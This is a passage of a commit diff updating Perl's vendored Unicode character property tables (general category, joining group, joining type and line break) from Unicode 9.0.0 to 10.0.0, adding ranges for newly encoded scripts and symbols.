+11A09..11A0A  ; Mn #   [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A33..11A38  ; Mn #   [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA
+11A3B..11A3E  ; Mn #   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A47         ; Mn #       ZANABAZAR SQUARE SUBJOINER
+11A51..11A56  ; Mn #   [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A59..11A5B  ; Mn #   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A8A..11A96  ; Mn #  [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A98..11A99  ; Mn #   [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER
 11C30..11C36  ; Mn #   [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L
 11C38..11C3D  ; Mn #   [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA
 11C3F         ; Mn #       BHAIKSUKI SIGN VIRAMA
@@ -2729,6 +2765,11 @@
 11CAA..11CB0  ; Mn #   [7] MARCHEN SUBJOINED LETTER RA..MARCHEN VOWEL SIGN AA
 11CB2..11CB3  ; Mn #   [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB5..11CB6  ; Mn #   [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D31..11D36  ; Mn #   [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; Mn #       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; Mn #   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D45  ; Mn #   [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA
+11D47         ; Mn #       MASARAM GONDI RA-KARA
 16AF0..16AF4  ; Mn #   [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE
 16B30..16B36  ; Mn #   [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM
 16F8F..16F92  ; Mn #   [4] MIAO TONE RIGHT..MIAO TONE BELOW
@@ -2753,7 +2794,7 @@
 1E944..1E94A  ; Mn #   [7] ADLAM ALIF LENGTHENER..ADLAM NUKTA
 E0100..E01EF  ; Mn # [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256
 
-# Total code points: 1690
+# Total code points: 1763
 
 # ================================================
 
@@ -2858,6 +2899,7 @@
 1C34..1C35    ; Mc #   [2] LEPCHA CONSONANT SIGN NYIN-DO..LEPCHA CONSONANT SIGN KANG
 1CE1          ; Mc #       VEDIC TONE ATHARVAVEDIC INDEPENDENT SVARITA
 1CF2..1CF3    ; Mc #   [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA
+1CF7          ; Mc #       VEDIC SIGN ATIKRAMA
 302E..302F    ; Mc #   [2] HANGUL SINGLE DOT TONE MARK..HANGUL DOUBLE DOT TONE MARK
 A823..A824    ; Mc #   [2] SYLOTI NAGRI VOWEL SIGN A..SYLOTI NAGRI VOWEL SIGN I
 A827          ; Mc #       SYLOTI NAGRI VOWEL SIGN OO
@@ -2918,6 +2960,10 @@
 116B6         ; Mc #       TAKRI SIGN VIRAMA
 11720..11721  ; Mc #   [2] AHOM VOWEL SIGN A..AHOM VOWEL SIGN AA
 11726         ; Mc #       AHOM VOWEL SIGN E
+11A07..11A08  ; Mc #   [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A39         ; Mc #       ZANABAZAR SQUARE SIGN VISARGA
+11A57..11A58  ; Mc #   [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A97         ; Mc #       SOYOMBO SIGN VISARGA
 11C2F         ; Mc #       BHAIKSUKI VOWEL SIGN AA
 11C3E         ; Mc #       BHAIKSUKI SIGN VISARGA
 11CA9         ; Mc #       MARCHEN SUBJOINED LETTER YA
@@ -2927,7 +2973,7 @@
 1D165..1D166  ; Mc #   [2] MUSICAL SYMBOL COMBINING STEM..MUSICAL SYMBOL COMBINING SPRECHGESANG STEM
 1D16D..1D172  ; Mc #   [6] MUSICAL SYMBOL COMBINING AUGMENTATION DOT..MUSICAL SYMBOL COMBINING FLAG-5
 
-# Total code points: 394
+# Total code points: 401
 
 # ================================================
 
@@ -2983,12 +3029,13 @@
 11730..11739  ; Nd #  [10] AHOM DIGIT ZERO..AHOM DIGIT NINE
 118E0..118E9  ; Nd #  [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE
 11C50..11C59  ; Nd #  [10] BHAIKSUKI DIGIT ZERO..BHAIKSUKI DIGIT NINE
+11D50..11D59  ; Nd #  [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
 16A60..16A69  ; Nd #  [10] MRO DIGIT ZERO..MRO DIGIT NINE
 16B50..16B59  ; Nd #  [10] PAHAWH HMONG DIGIT ZERO..PAHAWH HMONG DIGIT NINE
 1D7CE..1D7FF  ; Nd #  [50] MATHEMATICAL BOLD DIGIT ZERO..MATHEMATICAL MONOSPACE DIGIT NINE
 1E950..1E959  ; Nd #  [10] ADLAM DIGIT ZERO..ADLAM DIGIT NINE
 
-# Total code points: 580
+# Total code points: 590
 
 # ================================================
 
@@ -3392,6 +3439,7 @@
 085E          ; Po #       MANDAIC PUNCTUATION
 0964..0965    ; Po #   [2] DEVANAGARI DANDA..DEVANAGARI DOUBLE DANDA
 0970          ; Po #       DEVANAGARI ABBREVIATION SIGN
+09FD          ; Po #       BENGALI ABBREVIATION SIGN
 0AF0          ; Po #       GUJARATI ABBREVIATION SIGN
 0DF4          ; Po #       SINHALA PUNCTUATION KUNDDALIYA
 0E4F          ; Po #       THAI CHARACTER FONGMAN
@@ -3443,7 +3491,7 @@
 2E30..2E39    ; Po #  [10] RING POINT..TOP HALF SECTION SIGN
 2E3C..2E3F    ; Po #   [4] STENOGRAPHIC FULL STOP..CAPITULUM
 2E41          ; Po #       REVERSED COMMA
-2E43..2E44    ; Po #   [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK
+2E43..2E49    ; Po #   [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA
 3001..3003    ; Po #   [3] IDEOGRAPHIC COMMA..DITTO MARK
 303D          ; Po #       PART ALTERNATION MARK
 30FB          ; Po #       KATAKANA MIDDLE DOT
@@ -3515,6 +3563,9 @@
 11641..11643  ; Po #   [3] MODI DANDA..MODI ABBREVIATION SIGN
 11660..1166C  ; Po #  [13] MONGOLIAN BIRGA WITH ORNAMENT..MONGOLIAN TURNED SWIRL BIRGA WITH DOUBLE ORNAMENT
 1173C..1173E  ; Po #   [3] AHOM SIGN SMALL SECTION..AHOM SIGN RULAI
+11A3F..11A46  ; Po #   [8] ZANABAZAR SQUARE INITIAL HEAD MARK..ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK
+11A9A..11A9C  ; Po #   [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD
+11A9E..11AA2  ; Po #   [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2
 11C41..11C45  ; Po #   [5] BHAIKSUKI DANDA..BHAIKSUKI GAP FILLER-2
 11C70..11C71  ; Po #   [2] MARCHEN HEAD MARK..MARCHEN MARK SHAD
 12470..12474  ; Po #   [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON
@@ -3526,7 +3577,7 @@
 1DA87..1DA8B  ; Po #   [5] SIGNWRITING COMMA..SIGNWRITING PARENTHESIS
 1E95E..1E95F  ; Po #   [2] ADLAM INITIAL EXCLAMATION MARK..ADLAM INITIAL QUESTION MARK
 
-# Total code points: 544
+# Total code points: 566
 
 # ================================================
 
@@ -3613,7 +3664,7 @@
 0BF9          ; Sc #       TAMIL RUPEE SIGN
 0E3F          ; Sc #       THAI CURRENCY SYMBOL BAHT
 17DB          ; Sc #       KHMER CURRENCY SYMBOL RIEL
-20A0..20BE    ; Sc #  [31] EURO-CURRENCY SIGN..LARI SIGN
+20A0..20BF    ; Sc #  [32] EURO-CURRENCY SIGN..BITCOIN SIGN
 A838          ; Sc #       NORTH INDIC RUPEE MARK
 FDFC          ; Sc #       RIAL SIGN
 FE69          ; Sc #       SMALL DOLLAR SIGN
@@ -3621,7 +3672,7 @@
 FFE0..FFE1    ; Sc #   [2] FULLWIDTH CENT SIGN..FULLWIDTH POUND SIGN
 FFE5..FFE6    ; Sc #   [2] FULLWIDTH YEN SIGN..FULLWIDTH WON SIGN
 
-# Total code points: 53
+# Total code points: 54
 
 # ================================================
 
@@ -3728,8 +3779,7 @@
 232B..237B    ; So #  [81] ERASE TO THE LEFT..NOT CHECK MARK
 237D..239A    ; So #  [30] SHOULDERED OPEN BOX..CLEAR SCREEN SYMBOL
 23B4..23DB    ; So #  [40] TOP SQUARE BRACKET..FUSE
-23E2..23FE    ; So #  [29] WHITE TRAPEZIUM..POWER SLEEP SYMBOL
-2400..2426    ; So #  [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO
+23E2..2426    ; So #  [69] WHITE TRAPEZIUM..SYMBOL FOR SUBSTITUTE FORM TWO
 2440..244A    ; So #  [11] OCR HOOK..OCR DOUBLE BACKSLASH
 249C..24E9    ; So #  [78] PARENTHESIZED LATIN SMALL LETTER A..CIRCLED LATIN SMALL LETTER Z
 2500..25B6    ; So # [183] BOX DRAWINGS LIGHT HORIZONTAL..BLACK RIGHT-POINTING TRIANGLE
@@ -3745,7 +3795,7 @@
 2B76..2B95    ; So #  [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW
 2B98..2BB9    ; So #  [34] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..UP ARROWHEAD IN A RECTANGLE BOX
 2BBD..2BC8    ; So #  [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
-2BCA..2BD1    ; So #   [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN
+2BCA..2BD2    ; So #   [9] TOP HALF BLACK CIRCLE..GROUP MARK
 2BEC..2BEF    ; So #   [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
 2CE5..2CEA    ; So #   [6] COPTIC SYMBOL MI RO..COPTIC SYMBOL SHIMA SIMA
 2E80..2E99    ; So #  [26] CJK RADICAL REPEAT..CJK RADICAL RAP
@@ -3818,10 +3868,11 @@
 1F210..1F23B  ; So #  [44] SQUARED CJK UNIFIED IDEOGRAPH-624B..SQUARED CJK UNIFIED IDEOGRAPH-914D
 1F240..1F248  ; So #   [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
 1F250..1F251  ; So #   [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT
+1F260..1F265  ; So #   [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI
 1F300..1F3FA  ; So # [251] CYCLONE..AMPHORA
-1F400..1F6D2  ; So # [723] RAT..SHOPPING TROLLEY
+1F400..1F6D4  ; So # [725] RAT..PAGODA
 1F6E0..1F6EC  ; So #  [13] HAMMER AND WRENCH..AIRPLANE ARRIVING
-1F6F0..1F6F6  ; So #   [7] SATELLITE..CANOE
+1F6F0..1F6F8  ; So #   [9] SATELLITE..FLYING SAUCER
 1F700..1F773  ; So # [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE
 1F780..1F7D4  ; So #  [85] BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE..HEAVY TWELVE POINTED PINWHEEL STAR
 1F800..1F80B  ; So #  [12] LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD..DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
@@ -3829,16 +3880,15 @@
 1F850..1F859  ; So #  [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW
 1F860..1F887  ; So #  [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW
 1F890..1F8AD  ; So #  [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS
-1F910..1F91E  ; So #  [15] ZIPPER-MOUTH FACE..HAND WITH INDEX AND MIDDLE FINGERS CROSSED
-1F920..1F927  ; So #   [8] FACE WITH COWBOY HAT..SNEEZING FACE
-1F930         ; So #       PREGNANT WOMAN
-1F933..1F93E  ; So #  [12] SELFIE..HANDBALL
-1F940..1F94B  ; So #  [12] WILTED FLOWER..MARTIAL ARTS UNIFORM
-1F950..1F95E  ; So #  [15] CROISSANT..PANCAKES
-1F980..1F991  ; So #  [18] CRAB..SQUID
+1F900..1F90B  ; So #  [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT
+1F910..1F93E  ; So #  [47] ZIPPER-MOUTH FACE..HANDBALL
+1F940..1F94C  ; So #  [13] WILTED FLOWER..CURLING STONE
+1F950..1F96B  ; So #  [28] CROISSANT..CANNED FOOD
+1F980..1F997  ; So #  [24] CRAB..CRICKET
 1F9C0         ; So #       CHEESE WEDGE
+1F9D0..1F9E6  ; So #  [23] FACE WITH MONOCLE..SOCKS
 
-# Total code points: 5777
+# Total code points: 5855
 
 # ================================================
 

Modified: vendor/perl/dist/lib/unicore/extracted/DJoinGroup.txt
===================================================================
--- vendor/perl/dist/lib/unicore/extracted/DJoinGroup.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/extracted/DJoinGroup.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# DerivedJoiningGroup-9.0.0.txt
-# Date: 2016-03-02, 18:54:59 GMT
-# © 2016 Unicode®, Inc.
+# DerivedJoiningGroup-10.0.0.txt
+# Date: 2017-02-17, 04:46:04 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -633,4 +633,70 @@
 
 # Total code points: 1
 
+# ================================================
+
+0860          ; Malayalam_Nga # Lo       SYRIAC LETTER MALAYALAM NGA
+
+# Total code points: 1
+
+# ================================================
+
+0861          ; Malayalam_Ja # Lo       SYRIAC LETTER MALAYALAM JA
+
+# Total code points: 1
+
+# ================================================
+
+0862          ; Malayalam_Nya # Lo       SYRIAC LETTER MALAYALAM NYA
+
+# Total code points: 1
+
+# ================================================
+
+0863          ; Malayalam_Tta # Lo       SYRIAC LETTER MALAYALAM TTA
+
+# Total code points: 1
+
+# ================================================
+
+0864          ; Malayalam_Nna # Lo       SYRIAC LETTER MALAYALAM NNA
+
+# Total code points: 1
+
+# ================================================
+
+0865          ; Malayalam_Nnna # Lo       SYRIAC LETTER MALAYALAM NNNA
+
+# Total code points: 1
+
+# ================================================
+
+0866          ; Malayalam_Bha # Lo       SYRIAC LETTER MALAYALAM BHA
+
+# Total code points: 1
+
+# ================================================
+
+0867          ; Malayalam_Ra # Lo       SYRIAC LETTER MALAYALAM RA
+
+# Total code points: 1
+
+# ================================================
+
+0868          ; Malayalam_Lla # Lo       SYRIAC LETTER MALAYALAM LLA
+
+# Total code points: 1
+
+# ================================================
+
+0869          ; Malayalam_Llla # Lo       SYRIAC LETTER MALAYALAM LLLA
+
+# Total code points: 1
+
+# ================================================
+
+086A          ; Malayalam_Ssa # Lo       SYRIAC LETTER MALAYALAM SSA
+
+# Total code points: 1
+
 # EOF

Modified: vendor/perl/dist/lib/unicore/extracted/DJoinType.txt
===================================================================
--- vendor/perl/dist/lib/unicore/extracted/DJoinType.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/extracted/DJoinType.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# DerivedJoiningType-9.0.0.txt
-# Date: 2016-06-01, 10:34:26 GMT
-# © 2016 Unicode®, Inc.
+# DerivedJoiningType-10.0.0.txt
+# Date: 2017-03-08, 08:41:50 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -64,6 +64,9 @@
 0848          ; D # Lo       MANDAIC LETTER ATT
 084A..0853    ; D # Lo  [10] MANDAIC LETTER AK..MANDAIC LETTER AR
 0855          ; D # Lo       MANDAIC LETTER AT
+0860          ; D # Lo       SYRIAC LETTER MALAYALAM NGA
+0862..0865    ; D # Lo   [4] SYRIAC LETTER MALAYALAM NYA..SYRIAC LETTER MALAYALAM NNNA
+0868          ; D # Lo       SYRIAC LETTER MALAYALAM LLA
 08A0..08A9    ; D # Lo  [10] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER YEH WITH TWO DOTS BELOW AND DOT ABOVE
 08AF..08B0    ; D # Lo   [2] ARABIC LETTER SAD WITH THREE DOTS BELOW..ARABIC LETTER GAF WITH INVERTED STROKE
 08B3..08B4    ; D # Lo   [2] ARABIC LETTER AIN WITH THREE DOTS BELOW..ARABIC LETTER KAF WITH DOT BELOW
@@ -90,7 +93,7 @@
 10BAD..10BAE  ; D # No   [2] PSALTER PAHLAVI NUMBER TEN..PSALTER PAHLAVI NUMBER TWENTY
 1E900..1E943  ; D # L&  [68] ADLAM CAPITAL LETTER ALIF..ADLAM SMALL LETTER SHA
 
-# Total code points: 501
+# Total code points: 507
 
 # ================================================
 
@@ -128,6 +131,8 @@
 0846..0847    ; R # Lo   [2] MANDAIC LETTER AZ..MANDAIC LETTER IT
 0849          ; R # Lo       MANDAIC LETTER AKSA
 0854          ; R # Lo       MANDAIC LETTER ASH
+0867          ; R # Lo       SYRIAC LETTER MALAYALAM RA
+0869..086A    ; R # Lo   [2] SYRIAC LETTER MALAYALAM LLLA..SYRIAC LETTER MALAYALAM SSA
 08AA..08AC    ; R # Lo   [3] ARABIC LETTER REH WITH LOOP..ARABIC LETTER ROHINGYA YEH
 08AE          ; R # Lo       ARABIC LETTER DAL WITH THREE DOTS BELOW
 08B1..08B2    ; R # Lo   [2] ARABIC LETTER STRAIGHT WAW..ARABIC LETTER ZAIN WITH INVERTED V ABOVE
@@ -148,7 +153,7 @@
 10B91         ; R # Lo       PSALTER PAHLAVI LETTER TAW
 10BA9..10BAC  ; R # No   [4] PSALTER PAHLAVI NUMBER ONE..PSALTER PAHLAVI NUMBER FOUR
 
-# Total code points: 112
+# Total code points: 115
 
 # ================================================
 
@@ -218,6 +223,7 @@
 0AC7..0AC8    ; T # Mn   [2] GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN AI
 0ACD          ; T # Mn       GUJARATI SIGN VIRAMA
 0AE2..0AE3    ; T # Mn   [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL
+0AFA..0AFF    ; T # Mn   [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B01          ; T # Mn       ORIYA SIGN CANDRABINDU
 0B3C          ; T # Mn       ORIYA SIGN NUKTA
 0B3F          ; T # Mn       ORIYA VOWEL SIGN I
@@ -240,7 +246,8 @@
 0CC6          ; T # Mn       KANNADA VOWEL SIGN E
 0CCC..0CCD    ; T # Mn   [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA
 0CE2..0CE3    ; T # Mn   [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
-0D01          ; T # Mn       MALAYALAM SIGN CANDRABINDU
+0D00..0D01    ; T # Mn   [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
+0D3B..0D3C    ; T # Mn   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D41..0D44    ; T # Mn   [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
 0D4D          ; T # Mn       MALAYALAM SIGN VIRAMA
 0D62..0D63    ; T # Mn   [2] MALAYALAM VOWEL SIGN VOCALIC L..MALAYALAM VOWEL SIGN VOCALIC LL
@@ -325,7 +332,7 @@
 1CED          ; T # Mn       VEDIC SIGN TIRYAK
 1CF4          ; T # Mn       VEDIC TONE CANDRA ABOVE
 1CF8..1CF9    ; T # Mn   [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
-1DC0..1DF5    ; T # Mn  [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE
+1DC0..1DF9    ; T # Mn  [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW
 1DFB..1DFF    ; T # Mn   [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 200B          ; T # Cf       ZERO WIDTH SPACE
 200E..200F    ; T # Cf   [2] LEFT-TO-RIGHT MARK..RIGHT-TO-LEFT MARK
@@ -435,6 +442,15 @@
 1171D..1171F  ; T # Mn   [3] AHOM CONSONANT SIGN MEDIAL LA..AHOM CONSONANT SIGN MEDIAL LIGATING RA
 11722..11725  ; T # Mn   [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU
 11727..1172B  ; T # Mn   [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER
+11A01..11A06  ; T # Mn   [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A09..11A0A  ; T # Mn   [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A33..11A38  ; T # Mn   [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA
+11A3B..11A3E  ; T # Mn   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A47         ; T # Mn       ZANABAZAR SQUARE SUBJOINER
+11A51..11A56  ; T # Mn   [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A59..11A5B  ; T # Mn   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A8A..11A96  ; T # Mn  [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A98..11A99  ; T # Mn   [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER
 11C30..11C36  ; T # Mn   [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L
 11C38..11C3D  ; T # Mn   [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA
 11C3F         ; T # Mn       BHAIKSUKI SIGN VIRAMA
@@ -442,6 +458,11 @@
 11CAA..11CB0  ; T # Mn   [7] MARCHEN SUBJOINED LETTER RA..MARCHEN VOWEL SIGN AA
 11CB2..11CB3  ; T # Mn   [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB5..11CB6  ; T # Mn   [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D31..11D36  ; T # Mn   [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; T # Mn       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; T # Mn   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D45  ; T # Mn   [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA
+11D47         ; T # Mn       MASARAM GONDI RA-KARA
 16AF0..16AF4  ; T # Mn   [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE
 16B30..16B36  ; T # Mn   [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM
 16F8F..16F92  ; T # Mn   [4] MIAO TONE RIGHT..MIAO TONE BELOW
@@ -470,6 +491,6 @@
 E0020..E007F  ; T # Cf  [96] TAG SPACE..CANCEL TAG
 E0100..E01EF  ; T # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256
 
-# Total code points: 1839
+# Total code points: 1912
 
 # EOF

Modified: vendor/perl/dist/lib/unicore/extracted/DLineBreak.txt
===================================================================
--- vendor/perl/dist/lib/unicore/extracted/DLineBreak.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/extracted/DLineBreak.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# DerivedLineBreak-9.0.0.txt
-# Date: 2016-06-01, 10:34:26 GMT
-# © 2016 Unicode®, Inc.
+# DerivedLineBreak-10.0.0.txt
+# Date: 2017-03-08, 08:41:50 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -24,8 +24,8 @@
 F0000..FFFFD  ; XX # Co [65534] <private-use-F0000>..<private-use-FFFFD>
 100000..10FFFD; XX # Co [65534] <private-use-100000>..<private-use-10FFFD>
 
-# The above property value applies to 766379 code points not listed here.
-# Total code points: 903847
+# The above property value applies to 765432 code points not listed here.
+# Total code points: 902900
 
 # ================================================
 
@@ -283,10 +283,10 @@
 FF1A..FF1B    ; NS # Po   [2] FULLWIDTH COLON..FULLWIDTH SEMICOLON
 FF65          ; NS # Po       HALFWIDTH KATAKANA MIDDLE DOT
 FF9E..FF9F    ; NS # Lm   [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK
-16FE0         ; NS # Lm       TANGUT ITERATION MARK
+16FE0..16FE1  ; NS # Lm   [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
 1F679..1F67B  ; NS # So   [3] HEAVY INTERROBANG ORNAMENT..HEAVY SANS-SERIF INTERROBANG ORNAMENT
 
-# Total code points: 30
+# Total code points: 31
 
 # ================================================
 
@@ -363,7 +363,8 @@
 20A8..20B5    ; PR # Sc  [14] RUPEE SIGN..CEDI SIGN
 20B7..20BA    ; PR # Sc   [4] SPESMILO SIGN..TURKISH LIRA SIGN
 20BC..20BD    ; PR # Sc   [2] MANAT SIGN..RUBLE SIGN
-20BF..20CF    ; PR # Cn  [17] <reserved-20BF>..<reserved-20CF>
+20BF          ; PR # Sc       BITCOIN SIGN
+20C0..20CF    ; PR # Cn  [16] <reserved-20C0>..<reserved-20CF>
 2116          ; PR # So       NUMERO SIGN
 2212..2213    ; PR # Sm   [2] MINUS SIGN..MINUS-OR-PLUS SIGN
 FE69          ; PR # Sc       SMALL DOLLAR SIGN
@@ -455,12 +456,13 @@
 11730..11739  ; NU # Nd  [10] AHOM DIGIT ZERO..AHOM DIGIT NINE
 118E0..118E9  ; NU # Nd  [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE
 11C50..11C59  ; NU # Nd  [10] BHAIKSUKI DIGIT ZERO..BHAIKSUKI DIGIT NINE
+11D50..11D59  ; NU # Nd  [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
 16A60..16A69  ; NU # Nd  [10] MRO DIGIT ZERO..MRO DIGIT NINE
 16B50..16B59  ; NU # Nd  [10] PAHAWH HMONG DIGIT ZERO..PAHAWH HMONG DIGIT NINE
 1D7CE..1D7FF  ; NU # Nd  [50] MATHEMATICAL BOLD DIGIT ZERO..MATHEMATICAL MONOSPACE DIGIT NINE
 1E950..1E959  ; NU # Nd  [10] ADLAM DIGIT ZERO..ADLAM DIGIT NINE
 
-# Total code points: 572
+# Total code points: 582
 
 # ================================================
 
@@ -568,6 +570,7 @@
 0830..083E    ; AL # Po  [15] SAMARITAN PUNCTUATION NEQUDAA..SAMARITAN PUNCTUATION ANNAAU
 0840..0858    ; AL # Lo  [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN
 085E          ; AL # Po       MANDAIC PUNCTUATION
+0860..086A    ; AL # Lo  [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
 08A0..08B4    ; AL # Lo  [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW
 08B6..08BD    ; AL # Lo   [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
 08E2          ; AL # Cf       ARABIC DISPUTED END OF AYAH
@@ -591,6 +594,8 @@
 09F0..09F1    ; AL # Lo   [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL
